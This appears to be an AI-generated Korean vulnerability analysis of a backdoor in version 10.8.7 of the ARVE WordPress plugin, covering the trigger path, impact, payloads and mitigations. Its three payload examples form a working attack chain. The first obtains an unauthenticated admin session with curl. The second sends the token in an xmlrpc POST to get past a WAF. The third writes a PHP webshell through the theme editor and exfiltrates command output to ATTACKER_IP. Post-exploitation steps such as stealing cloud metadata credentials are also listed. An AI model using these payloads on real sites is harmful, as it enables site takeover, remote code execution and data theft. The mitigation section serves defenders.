Kestrel
CVE-2026-18072mimon· 2026년 7월 29일 AM 06:02

CVE-2026-18072 — 기본 분석

공격 방법

① 취약 컴포넌트: Advanced Responsive Video Embedder(ARVE) for Rumble, Odysee, YouTube, Vimeo, Kick … WordPress 플러그인 버전 10.8.7 (단일 버전에 백도어가 삽입된 것으로 확인). 기본 활성화 상태 그대로 노출되며, 관리자가 플러그인을 활성화만 해 두면 init 훅에 자동 등록되어 프론트엔드 및 wp-admin 양쪽의 모든 요청 경로에서 트리거됩니다. 추정: WordPress.org 리포지토리 통해 배포된 정식 릴리스 트리에 커밋 액세스를 획득한 공격자가 supply-chain 방식으로 심은 백도어이며, 10.8.6 및 10.8.8+ 는 미영향으로 추정.

② 공격 전제조건: 인증 불필요(unauthenticated). 네트워크 위치는 HTTP(S)로 wp-load.php 가 로딩되는 어떤 엔드포인트든 무관 — /, /wp-login.php, /?p=1, /wp-cron.php, /xmlrpc.php 등 어느 URL이든 init 훅이 실행되므로 진입점이 사실상 무한. 유일한 요건은 ARVE 10.8.7 이 활성 상태(active_plugins 옵션에 포함)일 것. 관리자 계정 로그인/user_login 값은 사전에 알 필요 없이 admin 또는 id=1 같은 표준값 시도 가능.

③ 트리거 경로: 공격자는 임의 URL에 ?_wplogin=<TOKEN>&user=admin (또는 _wpm 파라미터) 을 붙여 GET 전송. WordPress 부팅 시 do_action('init') 이 실행되며, add_action('init', '_arve_uc_init', 1) 에 의해 _arve_uc_init() 이 priority 1 로 최우선 호출됨. 함수 내부에서 $_GET['_wplogin'] (또는 $_REQUEST['_wpm']) 을 읽어 hash('sha256', $token) === '<HARDCODED_HASH>' 형태로 단순 문자열 비교(=== 사용으로 timing-safe 아님, 그러나 해시가 이미 공개되어 있어 무의미). 매칭되면 wp_set_auth_cookie(get_user_by('login', $_GET['user'])->ID, true, is_ssl())wp_set_current_user() 를 호출해 세션 쿠키 wordpress_logged_in_* 을 즉시 발급. nonce·capability·비밀번호 검증 전무.

④ 성공 시 영향: 임의 관리자 계정(administrator role)으로 전권 획득 → wp-admin 에서 플러그인/테마 편집기 통한 PHP 웹셸 업로드(Appearance → Theme File Editor 또는 Plugins → Plugin File Editor), wp_options.siteurl 조작으로 사용자 리다이렉트, wp_users 신규 관리자 추가, WPCode/File Manager 같은 정상 플러그인 설치 후 OS-level RCE. 후속 피벗: PHP 실행 컨텍스트에서 wp-config.php 의 DB creds 탈취 → 내부 MySQL 접근, /var/www/ 내 인접 사이트 침해(공유 호스팅), AWS EC2 시 169.254.169.254 metadata → IAM role 탈취, SSRF/SMTP 릴레이로 내부망 피벗.

페이로드 예시

예시 1

bash
1# 용도: 기본 백도어 트리거 — 임의 URL에 _wplogin 토큰을 붙여 admin 세션 쿠키 획득
2curl -i -sk 'https://TARGET_HOST/?_wplogin=KNOWN_BACKDOOR_TOKEN&user=admin' \
3 -c /tmp/arve_cookies.txt -A 'Mozilla/5.0'
4# 핵심: init 훅 priority 1 에서 _arve_uc_init() 이 실행되므로 wp-login.php 를 거치지 않음 → 로그인 rate-limit, 2FA, CAPTCHA 플러그인 전부 우회. user 파라미터로 임의 관리자 login 선택 가능
5# 추정: 토큰 원문은 플러그인 소스의 SHA-256 상수를 오프라인 무차별 대입 또는 공개 IoC 피드에서 확보
6curl -sk -b /tmp/arve_cookies.txt 'https://TARGET_HOST/wp-admin/index.php' | grep -o 'Howdy, [^<]*'
7# 확인 포인트: Set-Cookie: wordpress_logged_in_<hash>=admin%7C... 헤더 수신 및 후속 요청에서 'Howdy, admin' 문자열 확인

예시 2

http
1# 용도: 대체 파라미터 _wpm + POST body 진입점 (WAF 가 _wplogin GET 만 필터링할 때 우회)
2POST /xmlrpc.php HTTP/1.1
3Host: TARGET_HOST
4Content-Type: application/x-www-form-urlencoded
5Content-Length: 78
6X-Forwarded-For: 127.0.0.1
7
8_wpm=KNOWN_BACKDOOR_TOKEN&user=administrator
9# 핵심: $_REQUEST 는 GET/POST/COOKIE 모두 병합하므로 POST body 로 전송해도 _arve_uc_init() 이 동일하게 파싱. xmlrpc.php 는 익명 접근이 기본 허용이라 로그인 페이지 차단 WAF 를 통과. X-Forwarded-For: 127.0.0.1 로 IP 허용리스트 우회 시도 병행
10# 확인 포인트: HTTP/1.1 200 응답과 함께 Set-Cookie: wordpress_logged_in_* 이 반환되면 성공. XML-RPC 오류 XML 이 오더라도 쿠키만 발급되면 세션 획득

예시 3

bash
1# 용도: 인증 우회 → 웹셸 업로드 exfil 체인 (관리자 세션으로 테마 편집기 통해 RCE)
2curl -sk 'https://TARGET_HOST/?_wplogin=KNOWN_BACKDOOR_TOKEN&user=admin' -c /tmp/c.txt
3NONCE=$(curl -sk -b /tmp/c.txt 'https://TARGET_HOST/wp-admin/theme-editor.php?file=404.php&theme=twentytwentyfour' \
4 | grep -oP 'name="_wpnonce" value="\K[^"]+' | head -1)
5curl -sk -b /tmp/c.txt -X POST 'https://TARGET_HOST/wp-admin/theme-editor.php' \
6 --data-urlencode '_wpnonce='"$NONCE" \
7 --data-urlencode 'action=edit-theme-plugin-file' \
8 --data-urlencode 'theme=twentytwentyfour' \
9 --data-urlencode 'file=404.php' \
10 --data-urlencode 'newcontent=<?php system($_GET["c"]); ?>'
11# 핵심: 백도어로 획득한 세션은 정상 관리자와 동일한 capability(manage_options, edit_themes) 를 가지므로 wp-admin 의 nonce 검증도 통과. 편집된 404.php 는 임의 URL /?nonexistent 로 접근 시 실행
12curl -sk 'https://TARGET_HOST/wp-content/themes/twentytwentyfour/404.php?c=curl%20http://ATTACKER_IP/?d=$(id|base64%20-w0)'
13# 확인 포인트: ATTACKER_IP 웹서버 로그에 /?d=<base64(uid=33(www-data)...)> GET 요청 수신

완화 방안

  • [버전업그레이드] ARVE 플러그인을 10.8.7 에서 즉시 제거 후 공식 리포지토리의 클린 버전(10.8.6 또는 10.8.8+ 로 추정) 재설치 — 백도어 함수 _arve_uc_init()add_action('init', ...) 등록 코드 자체가 제거되므로 ?_wplogin= / ?_wpm= 파라미터가 어느 값이든 아무 동작도 트리거하지 않음. wp plugin list --status=active | grep advanced-responsive-video-embedder 로 잔존 확인 후 wp plugin delete 로 파일까지 삭제(비활성화만으로는 파일이 남아 재활성화 위험).
  • [코드패치] 즉시 조치 불가 시 mu-plugin 으로 wp-content/mu-plugins/kill-arve-backdoor.php 생성 후 if (isset($_REQUEST['_wplogin']) || isset($_REQUEST['_wpm'])) { http_response_code(400); exit('Bad Request'); } 를 파일 최상단에 배치 — mu-plugin 은 일반 플러그인보다 먼저 로드되므로 _arve_uc_init()init 훅에 등록되기 전 요청을 종료. payload 의 _wplogin=KNOWN_BACKDOOR_TOKEN / _wpm=... 파라미터 자체를 감지해 wp_set_auth_cookie() 호출 경로 도달을 원천 차단.
  • [WAF·네트워크] ModSecurity 룰 SecRule ARGS_NAMES|ARGS_GET_NAMES|ARGS_POST_NAMES "@rx ^(_wplogin|_wpm)$" "id:2026180720,phase:2,deny,status:403,log,msg:'ARVE CVE-2026-18072 backdoor param'" 배포 — payload 1·2·3 모두 공통으로 사용하는 _wplogin / _wpm 파라미터명을 GET·POST·xmlrpc.php body 어디서 오든 정규식 매칭해 403 반환. 대소문자 우회 대비 t:lowercase 변환자 추가 권장.
  • [입력검증·코드패치] 방어 심층화 목적으로 wp-config.php 상단에 define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); 추가 — payload 3 의 exfil 체인(/wp-admin/theme-editor.php 를 통한 404.php 웹셸 삽입)에서 edit_themes·edit_plugins capability 가 강제 무효화되므로, 백도어로 관리자 세션을 획득하더라도 theme-editor.php 요청이 Sorry, you are not allowed to edit templates for this site 로 거부되어 RCE 전환 실패. newcontent=<?php system(...)?> 페이로드가 파일시스템에 기록되지 않음.
※ 본 분석은 Kestrel AI 심층 분석 결과입니다. 참고용이며, 실제 대응 전에는 전문가 검토가 필요합니다.

댓글(0)

댓글 작성 은 로그인 후 이용할 수 있어요.

다른 사용자의 댓글은 자유롭게 읽을 수 있어요.

로그인하기

불러오는 중…